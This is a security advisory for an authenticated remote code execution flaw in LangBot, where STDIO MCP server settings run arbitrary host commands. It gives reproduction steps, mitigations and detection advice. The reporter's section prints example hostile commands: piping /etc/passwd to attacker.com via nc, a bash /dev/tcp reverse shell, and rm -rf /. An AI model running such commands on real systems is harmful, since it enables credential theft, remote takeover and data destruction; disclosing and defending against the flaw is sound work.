CVE-2026-54449: LangBot: Authenticated RCE Via MCP Configuration

LangBot's MCP loader, src/langbot/pkg/provider/tools/loaders/mcp.py, imports StdioServerParameters from the mcp package. An STDIO MCP server config is a command plus arguments, and the SDK runs it as a subprocess on the host. LangBot passes the user-supplied values through, so whatever the user enters runs on the LangBot machine.

The reproduction uses only the web UI: open Extensions, then the MCP tab, press Add, choose an STDIO server, and type any command with arguments. The reporter lists reading /etc/passwd and sending it to a remote host with nc, a reverse shell, and rm -rf /. The attacker needs a valid account (PR:L). The advisory says an attacker who finds an open instance can sign up, or log in with stolen credentials, so exposed instances with open registration are the weak spot.

The outcome is full takeover of the host or container running LangBot: its model API keys, platform tokens for the chat bots it connects to, its database, and a foothold on the internal network. The advisory notes both public instances and local ones reachable from the attacker's network are at risk.

PyPI package langbot, versions 4.10.5 and earlier. The advisory lists all versions as affected and gives no patched release. Check your version:

pip show langbot

If you run LangBot from Docker or source, check the version shown in the web UI or the release tag you deployed. Instances reachable from the internet, or with open sign-up, are the most exposed.

There is no patched version. The advisory lists none and gives no workaround. Check the LangBot repository for a release after 4.10.5 before upgrading.

Until then, reduce exposure on your own judgment: do not expose the instance to the internet, put it behind a VPN or an authenticating reverse proxy, disable open registration, remove accounts you do not trust, and run LangBot as an unprivileged user in a container with no access to other secrets. These steps limit who can reach the MCP configuration but do not remove the flaw.

Review the configured MCP servers in the LangBot Extensions page for STDIO entries you did not add, particularly commands such as bash, sh, nc, curl or python with unusual arguments. Look at the process tree under the LangBot process for unexpected child processes, outbound connections to unknown hosts, and new user accounts or cron entries on the host. Check LangBot's account list for recently registered users. Because the MCP server config is the attack path, a tool that records agent shell commands and MCP activity, such as Beam, could show the spawned commands where LangBot's agents run.

Summary

Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.

Details

The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.

Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.

PoC

1. Open the LangBot server
2. Navigate to Extensions
3. Open the "MCP" tab and press "Add"
4. Choose an STDIO server configuration
5. Add any arbitrary command with arguments

Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.

Impact

This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Video POC

https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea

Resources

https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/